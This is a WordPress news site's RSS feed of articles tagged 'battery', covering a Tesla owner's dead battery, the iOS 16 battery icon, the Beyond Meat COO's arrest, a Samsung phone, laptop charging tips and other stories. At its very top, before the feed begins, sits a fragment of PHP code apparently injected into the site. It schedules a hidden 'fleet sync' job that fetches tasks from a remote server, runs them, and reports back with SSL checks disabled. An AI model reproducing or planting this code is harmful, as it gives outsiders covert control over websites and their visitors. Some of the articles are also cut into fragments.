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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); battery – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 21 Sep 2022 16:49:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png battery – Brief News https://briefnews.eu 32 32 A Tesla owner says he was locked out of his electric car after the battery died — an issue that he says would cost over $20,000 to fix https://briefnews.eu/a-tesla-owner-says-he-was-locked-out-of-his-electric-car-after-the-battery-died-an-issue-that-he-says-would-cost-over-20000-to-fix/ https://briefnews.eu/a-tesla-owner-says-he-was-locked-out-of-his-electric-car-after-the-battery-died-an-issue-that-he-says-would-cost-over-20000-to-fix/#respond Wed, 21 Sep 2022 16:49:50 +0000 https://briefnews.eu/a-tesla-owner-says-he-was-locked-out-of-his-electric-car-after-the-battery-died-an-issue-that-he-says-would-cost-over-20000-to-fix/ The Tesla Model Y.
The Tesla Model Y.

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  • A Tesla owner went viral on TikTok after he posted a series of videos on issues with his Model S.
  • Mario Zelaya claims he was locked out of the car after the battery died, which would cost over $ 20,000 to fix.
  • Last year, a Finnish Tesla owner blew up his EV to protest a similar issue.

A Tesla owner said he was locked out of his Model S after the battery died — an issue he said the carmaker told him would cost over $ 20,000 to fix.

Last week, Mario Zelaya posted a TikTok video calling out the issue and it received over 15 million views.  In the TikTok, Zelaya said the battery on his Model S completely died, leaving him unable to get inside the vehicle or even access the ownership documents inside the car in order to sell it. The car also would not respond to a charge, he said.

"This is why you should never buy a Tesla people," Zelaya said in the video, calling the car a "piece of trash." He said he bought the car brand new for $ 140,000 in 2013.

Zelaya and a spokesperson for Tesla did not respond to a request for comment from Insider ahead of publication.

The Tesla owner could have gained access to the vehicle manually by removing the front bumper or going in through the tire well, but he said he "didn't have time for that."

In an earlier video, the Toronto-based Tesla owner posted images of a service estimate from Tesla dated March 14. The estimate showed that a replacement battery for the electric car would cost over $ 28,000 in Canadian dollars or more than $ 21,000 US dollars.

The car needed the replacement after running for just over 77,000 miles, per the document the owner shared on TikTok. Tesla batteries are designed to run for 300,000 to 500,000 miles or about 21 to 25 years before they need to be replaced, Elon Musk has said. Last year, Electrek reported that Tesla owners have received battery pack replacement estimates between $ 20,000 to $ 30,000

Zelaya said in a separate video that he took the car in to Tesla after he received a "high voltage battery" warning message — an issue that could cause the EV battery to catch fire. He said he was told the issue would not be covered by a warranty.

When he later took the Model S into his country's regulatory agency, Transport Canada, the technicians told him the battery had rusted because the car's air conditioning unit's drain hose was positioned over the battery case and continually leaking water into the battery unit, Zelaya said. 

In a video from last week, Zelaya said he was finally able to sell the car after paying $ 30 for new ownership papers. The TikTok appears to show the new owner prying open the front bumper to gain access to the interior of the car.

"That's going to be the end of my Tesla journey," Zelaya said in the video. "It's out of my life. Keep it out of yours."

It's not the first time that Tesla owners have voiced concerns over quality control issues. Last year, a man from Finland filmed a video of himself blowing up his 2013 Tesla Model S after he discovered a replacement battery would cost $ 22,600. The man allegedly also had a water-damaged battery.

In August, Vox reported that owners have filed thousands of complaints about Tesla's service centers. Last year, Insider reported that drivers were taking to social media to report issues with their brand new Teslas, including poor paint jobs and misaligned car panels.

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]]> https://briefnews.eu/a-tesla-owner-says-he-was-locked-out-of-his-electric-car-after-the-battery-died-an-issue-that-he-says-would-cost-over-20000-to-fix/feed/ 0 Apple listened to your complaints and is changing iOS 16’s battery percentage icon https://briefnews.eu/apple-listened-to-your-complaints-and-is-changing-ios-16s-battery-percentage-icon/ https://briefnews.eu/apple-listened-to-your-complaints-and-is-changing-ios-16s-battery-percentage-icon/#respond Tue, 20 Sep 2022 22:20:29 +0000 https://briefnews.eu/apple-listened-to-your-complaints-and-is-changing-ios-16s-battery-percentage-icon/ Ever since the world got its first look at iOS 16’s reintroduced battery percentage indicator at the start of last month, people have voiced strong opinions about the icon. Many, including Engadget Deputy Editor Cherlynn Low, felt Apple could have done a better job with it. In its current iteration, the icon remains static – displaying only a percentage – until your iPhone’s battery depletes below 20 percent capacity. It’s a design decision that makes the indicator less useful than it ought to be since in most cases you need to look closely to see how much battery you have left.

Thankfully, Apple is working on an improved version of the icon. Earlier today, the company released the second iOS 16.1 beta (via MacRumors). Among other things, the update introduces a tweak to the battery percentage indicator. Now, instead of the icon only turning red when your iPhone’s battery dips below 20 percent charge, it will also gradually deplete as the battery does. It’s a small change, but one that improves usability.

Beta two also includes a tweak to the lock screen. When you plug your phone to charge, a battery percentage indicator will briefly appear above the time, bringing back a feature from iOS 15. On the iPhone 14 Pro, you’ll also see one appear within the Dynamic Island. The next version of iOS 16 does not have a release date yet. We’ll also note here that Apple could further tweak some of the changes found in beta two.

]]> https://briefnews.eu/apple-listened-to-your-complaints-and-is-changing-ios-16s-battery-percentage-icon/feed/ 0 Beyond Meat suspends its chief operating officer effective immediately after he was arrested and charged with 3rd-degree battery for allegedly biting a man’s nose https://briefnews.eu/beyond-meat-suspends-its-chief-operating-officer-effective-immediately-after-he-was-arrested-and-charged-with-3rd-degree-battery-for-allegedly-biting-a-mans-nose/ https://briefnews.eu/beyond-meat-suspends-its-chief-operating-officer-effective-immediately-after-he-was-arrested-and-charged-with-3rd-degree-battery-for-allegedly-biting-a-mans-nose/#respond Tue, 20 Sep 2022 21:44:48 +0000 https://briefnews.eu/beyond-meat-suspends-its-chief-operating-officer-effective-immediately-after-he-was-arrested-and-charged-with-3rd-degree-battery-for-allegedly-biting-a-mans-nose/ Beyond Meat, plant based Jerky display

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  • Beyond Meat has suspended its COO after he was arrested and charged with 3rd-degree battery and terroristic threatening. 
  • Authorities said Doug Ramsey ripped "the flesh" off a man's nose after the two got into a small car accident. 
  • According to local news reports, Ramsey turned violent and threatened to kill the other driver.

Beyond Meat announced it has suspended its chief operating officer after police said he bit and ripped "the flesh" off a man's nose in a road rage incident that turned violent. 

Doug Ramsey, Beyond Meat's COO, and another man were found with "bloody faces" by police after witnesses say the two got into a minor car accident in a parking garage after a University of Arkansas football game on Saturday night, according to the local Fayetteville news affiliate KNWA. 

After the accident, Ramsey got out of his car and reportedly "punched through the back windshield of his victim's car," KNWA reported, citing a Washington County police report. 

The other man involved told police that Ramsey "pulled him close and started punching his body," KNWA said. 

According to the report, Ramsey bit the other driver's nose, "ripping the flesh on the tip of the nose." 

Beyond Meat COO Doug Ramsey's mugshot
Beyond Meat COO Doug Ramsey's mugshot.

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Witnesses told police they heard Ramsey "threaten to kill" the other driver, according to KNWA. Passengers in both men's cars got out and helped break up the fight. 

Insider confirmed that Washington County Police arrested Ramsey on one count of terroristic threatening and one count of third-degree battery. He has a court appearance scheduled for October 19.

In a statement, the plant-based meat company said that operations activities would be overseen on an interim basis by the company's senior vice president of manufacturing operations. 

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]]> https://briefnews.eu/beyond-meat-suspends-its-chief-operating-officer-effective-immediately-after-he-was-arrested-and-charged-with-3rd-degree-battery-for-allegedly-biting-a-mans-nose/feed/ 0 Samsung’s Galaxy A23 5G packs a 120Hz display and a huge battery for $300 https://briefnews.eu/samsungs-galaxy-a23-5g-packs-a-120hz-display-and-a-huge-battery-for-300/ https://briefnews.eu/samsungs-galaxy-a23-5g-packs-a-120hz-display-and-a-huge-battery-for-300/#respond Thu, 01 Sep 2022 13:09:11 +0000 https://briefnews.eu/samsungs-galaxy-a23-5g-packs-a-120hz-display-and-a-huge-battery-for-300/ Just over a week ago, Samsung introduced a 5G version of the budget Galaxy A23 smartphone in Taiwan. The company has now decided to bring it to the U.S. with an attractive asking price of $ 300 for an unlocked unit.

To recall, the LTE version the Galaxy A23 has been on sale in U.S. stores since March of this year. The most obvious change introduced by the A23 5G is, well, 5G support. However, Samsung has also bumped up the screen refresh rate to 120Hz, which is quite a surprising perk for a phone in this price bracket.

The Samsung Galaxy A23 5G.
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The rest of the phone is not too shabby either. The design follows in the footsteps of its more premium siblings like the well-received Galaxy A53 5G and the Galaxy A73. Unfortunately, it appears that Samsung is only bringing the Tide Black trim to the U.S. market, and not the more appealing Mist Blue and Peach models.

Smooth screen, versatile cameras

Ont the front you get a 6.6-inch Full HD+ display with a 120Hz refresh rate and adaptive tech behind it. But do keep in mind that this is still an LCD panel and not an OLED display, which isn’t surprising given the Galaxy A23 5G’s asking price.

Samsung hasn’t cut any serious corners in the camera department either. Leading the charge is a 50-megapixel main camera, sitting alongside a 5MP snapper for ultrawide photography.

Samsung Galaxy A23 5G from different angles.
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There are a couple of 2MP sensors as well, for depth capture and macro photography, respectively. The selfie camera is a fairly modest affair at just 8MP, housed in a teardrop-shaped notch at the top. For Samsung purists, this notch aesthetic goes by the name Infinity-V.

A good silicon choice

Qualcomm’s Snapdragon 695 chipset runs the show under the hood, married to 4GB of RAM and 64GB onboard storage. Buyers will be pleased to find a microSD card slot that allows storage expansion by another 1TB. Samsung, you should extend this love to flagships too.

I’ve personally tested the aforementioned Qualcomm chip ticking inside phones like the OnePlus Nord CE 2 Lite, Xiaomi Redmi Note 11 Pro+ 5G, and the Vivo T1 — and came out thoroughly impressed by its performance.

All three colors of the Galaxy A23 5G.
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It’s cool to see Samsung making a wise choice and not going with one of its low-end Exynos chips for the Galaxy A23 5G. A fairly beefy 5,000 mAh battery keeps the lights on, but there’s no wireless charging perk or blazing-fast wired charging (capped at 25 watts) benefit to be found here.

The Galaxy A23 5G remains loyal to the cause of the 3.5mm headphone jack, so that’s a relief. Interestingly, QuickShare is also part of the package, allowing the phone to seamlessly pair with gadgets like Samsung’s own smartwatches and true wireless earbuds (like the Galaxy Buds 2 Pro).

If you’re intrigued by the overall package, the Galaxy A23 5G will be up for grabs from Samsung’s official website and retail outlets starting today. On the carrier compatibility side of things, T-Mobile and AT&T have got you covered.

]]> https://briefnews.eu/samsungs-galaxy-a23-5g-packs-a-120hz-display-and-a-huge-battery-for-300/feed/ 0 7 ways to troubleshoot if your laptop battery is not charging https://briefnews.eu/7-ways-to-troubleshoot-if-your-laptop-battery-is-not-charging/ https://briefnews.eu/7-ways-to-troubleshoot-if-your-laptop-battery-is-not-charging/#respond Wed, 31 Aug 2022 22:14:56 +0000 https://briefnews.eu/7-ways-to-troubleshoot-if-your-laptop-battery-is-not-charging/ laptop charging
There are several reasons why your laptop battery may not be charging properly.

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  • If your laptop battery isn't charging, first make sure there is no problem with your power adapter and cable.
  • On a modern laptop that charges via USB-C, make sure you're using the right USB-C port.
  • Here are seven ways to troubleshoot a laptop battery that is not charging.

Your laptop's battery runs down while you work, so it's not surprising that you'll see a low battery warning if you've been away from the office all day, running on battery power. What is surprising, though, is getting that battery warning if the laptop has been plugged in and (at least theoretically) charging all day.

But it can happen — sometimes, despite being connected to power, your laptop simply won't charge. There are a handful of reasons why that can happen, so read on for the seven most common ways to fix your laptop when the battery is not charging.

Make sure you're really plugged in

This might sound like one of those ridiculous "is your computer turned on" questions that the IT department tends to ask at the start of a troubleshooting session, but it's worth checking. Make sure you are really completing the circuit; the cable should be securely connected to your laptop and the power adapter plugged into the wall receptacle. Also make sure the laptop end of the cable is completely connected to the power adapter. And check to see if the wall outlet you're using is connected to a wall switch. Many homes let you toggle certain outlets on and off with a wall switch, so there may be no power flowing to the laptop.   

The USB-C port on a laptop.
Ensure your charging cable is securely connected to your laptop, power adapter, and wall outlet.

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Connect the correct USB-C port

Increasingly, modern laptops rely on USB-C as a standard high-capacity power cable instead of a proprietary power port. That's convenient, but it can lead to situations in which you accidentally plug your laptop's power adapter into the wrong USB-C power — one that isn't designed to serve as a charging port. If you plug your power adapter into the wrong USB-C port (one designed for data transfer and delivering power to other devices rather than charging the laptop battery) you won't damage your laptop, but your laptop won't charge. 

Use the right power adapter

Another common problem: Using the wrong power adapter. Many power bricks simply can't deliver enough power to charge your laptop, so just because you have access to an adapter with a USB-C cord, that doesn't mean you can charge any USB-C laptop with it. Low wattage chargers might be able to more or less keep your battery from running down while it's in use, but it'll charge very, very slowly, or not at all when the laptop is off. Find the charger that came with your laptop rather than trying one that's conveniently nearby. 

Try booting without the battery

If the problem isn't a bad connection, the wrong port or power adapter, it's possible that there is a problem with your laptop battery and it won't take a charge. Alternately, the power adapter could be failing. An easy way to check: If your laptop features a removable battery, take it out. Unplug the power adapter and then press and hold the laptop's power button for at least 15 seconds. This should reset the laptop and drain any residual charge in the power supply. Now, with the battery still removed, plug the power adapter in and see if you can start the laptop. If you can, great — the power adapter probably works fine. Reinsert the battery and see if it'll charge. Reseating the battery can fix a janky connection. And if your battery isn't removable, try resetting the laptop's power by holding the power button anyway. 

Let the laptop and adapter cool down

Still no joy? Let everything cool down. Shut off your laptop completely and let it return to room temperature, away from direct sunlight. Likewise, remove the power adapter from both the wall receptacle and the laptop and let it cool as well. After both components have returned to ambient temperature, try charging again. If either had gotten too hot, they might not be able to charge properly. 

Update your drivers

It's possible that your laptop might need a software update. You can quickly check to see if there are any driver updates that can get your computer charging again. 

If you are using a Windows laptop, click the Start button and type "device." Choose Device Manager when you see it appear in the search results. Expand the entry for Batteries and right-click Microsoft ACPI Compliant Control Method Battery. In the dropdown menu, choose Update Driver and then choose Search automatically for drivers. If there's an update available, install it and restart your laptop. Then try charging your battery again to see if that solved your problem. 

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Check to see if your laptop needs to update its drivers.

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On a Mac, shut down your laptop with the power adapter still attached. Press and hold the power button while simultaneously pressing Shift + CTRL + Option. Let go of all the keys, and then turn the laptop back on to see if this solved the problem. 

Check the power cable for breaks 

Another aspect worth investigating is the possibility that the power cable itself has gotten damaged. Feel carefully along the entire length of the cable to make sure there are no sharp kinks, or that the cable is otherwise broken, frayed, or damaged. Check the ports and plugs to make sure everything looks to be in working order. 

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The options were: Le Mans 24 Hours, Monaco Grand Prix, Indy 500 or Isle of Man TT.

Andrew asked to phone his friend Elsa but not to tell her what was a stake if they got the question wrong. 

They rang Elsa and Andrew read her the question but she had no idea what the answer was. He ultimately decided not to risk his £500,000 and headed home with half a million pounds.

However, in a moment of agony, Jeremy asked him what he would’ve said and Andrew admitted he would have opted for Isle of Man TT.

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]]> https://briefnews.eu/jeremy-clarkson-sparks-controversy-over-flat-battery-remark-no-way-did-he-say-that/feed/ 0 Jo Brand: ‘Only a matter of time’ Eamonn Holmes hits out over ‘battery acid’ remark https://briefnews.eu/jo-brand-only-a-matter-of-time-eamonn-holmes-hits-out-over-battery-acid-remark/ https://briefnews.eu/jo-brand-only-a-matter-of-time-eamonn-holmes-hits-out-over-battery-acid-remark/#respond Fri, 14 Jun 2019 12:39:56 +0000 http://briefnews.eu/jo-brand-only-a-matter-of-time-eamonn-holmes-hits-out-over-battery-acid-remark/

Jo Brand, 61, has faced a huge backlash for her comments on the Heresy programme on BBC Radio 4 and has since apologised for her actions.

Although the comedian said she would never go through with the criminal act of violence, many have called for action, with Brexit party politician Nigel Farage, 55, stating the police should get involved with the matter.

Speaking on talkRADIO yesterday, This Morning presenter Eamonn Holmes, 59, gave his thoughts on the matter and said it was “only a matter of time” until someone commits such an act.

Joined by psychotherapist and broadcaster Lucy Beresford, 54, Holmes explained if he were to speak of such a fantasy, he would be taken off-air.

“Well I’ll put it to you, if I was sitting here and light heartedly tried to replicate what Jo Brand said there, it wouldn’t be regarded as funny,” he began.

“Because I would tell you straight away, I would be taken off air.”

Holmes went on to say: “I like Jo Brand a lot, I think she’s very funny but you just cannot in this day and age, you know tell people like Katie Piper who was badly disfigured with acid being thrown at her that it’s funny, it’s a joke about replacing a milkshake with battery acid.”

Beresford added on the matter: “I think in the last three years when you had an MP murdered, it makes it very difficult to justify people saying certain things.

“However, we have to get to a point in society where you are allowed to almost say the unthinkable to push the boundaries.”

Disagreeing with the point, Holmes hit back: “No! Until somebody throws battery acid at Nigel Farage and then we’ll all be back to the BBC and Jo Brand what they should have done and who should have apologised for it.”

The This Morning star continued: “I think we’re in a completely different territory in this day and age and I think certain prominent politicians are now in the cross hairs for this sort of thing.

“And it’s only a matter of time before I would say someone is seriously damaged with this and then it all goes back to the BBC and Jo Brand.”

A BBC spokesperson has responded to the matter, telling press in a statement: “Heresy is a long-running comedy programme where, as the title implies and as our listeners know, panellists often say things which are deliberately provocative and go against societal norms but are not intended to be taken seriously.

“We carefully considered the programme before broadcast. It was never intended to encourage or condone violence, and it does not do so, but we have noted the strong reaction to it.

“Comedy will always push boundaries and will continue to do so, but on this occasion we have decided to edit the programme.”

The spokesperson concluded: “We regret any offence we have caused.”

Comedian Frank Skinner also recently weighed in on the debate during an appearance on ITV’s Loose Women and defenced the star.

Skinner said: “I think it is difficult to say anything in public life at all. When kids play Hangman, is that a devil may care attitude to capital punishment?

“I don’t think Jo, for one second, would want anyone to commit an act of violence – even against Nigel Farage.

“We live in a society where people find it much easier to say hate than love about anything.

“Especially on Twitter… It is a weird time at the moment where people are very angry about various things but you have got to have jokes.”

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A worker assembling a Sonnen battery.

Enlarge / An employee working for the manufacturer of solar batteries, Sonnen GmbH, in the Bavarian village Wildpoldsried, southern Germany, is pictured on July 5, 2016. (credit: CHRISTOF STACHE/AFP/Getty Images)

On Friday, oil major Royal Dutch Shell and German energy storage company Sonnen announced that Shell would acquire Sonnen for an undisclosed amount.

Sonnen has been one of the top competitors with Tesla’s Powerwall in the US home battery market. The company built its base in Germany, attaching batteries for self-consumption to homes with solar panels. Sonnen now claims 40,000 batteries installed in households in Germany, the US, and Australia.

The company’s assets include proprietary software that optimizes a home’s battery use in combination with solar power.

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We weren’t impressed with this year’s Notebook 9 Pen, Samsung’s attempt at a high-end ultrabook, but the company will be trying again in 2019. Samsung announced two new versions of the Notebook 9 Pen—a 13-inch and a 15-inch model—that it will show off at CES in January and release sometime in 2019. At first glance, not much seems to have changed in the new convertibles, but upon closer inspection, Samsung has made some changes that will (hopefully) make the new devices worth their inevitably high price tags.

Regardless of how you feel about the blue-and-gold color scheme on this year’s Note 9 smartphone, Samsung clearly likes it because the company brought it over to the Notebook 9 Pen. The new device has that navy blue over most of its chassis, and its edges remain the only parts where silver pokes through.

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A mock-up of what Energy Vault's tower looks like.

A mock-up of what Energy Vault’s tower looks like. (credit: Energy Vault)

A company called Energy Vault has proposed a new utility-scale battery that is both old and new at the same time. The “battery” is mechanical, rather than chemical, and stores energy much like pumped hydro does, but it does it with bricks.

If you’re not familiar with pumped hydro, it works like this. The system pumps water from a lower elevation to a higher elevation when electricity is plentiful and cheap. When electricity becomes more expensive, operators release that water through a hydroelectric turbine to give the grid some extra juice. Similarly, Energy Vault wants to build a system of six cranes, which will electrically stack heavy bricks into a tower when electricity is cheap and plentiful. When electricity becomes more scarce and expensive, the cranes will release each brick and harvest the energy from their fall.

This system solves an important problem inherent to pumped hydro: it requires a pretty specific kind of topography and often causes environmental concerns.

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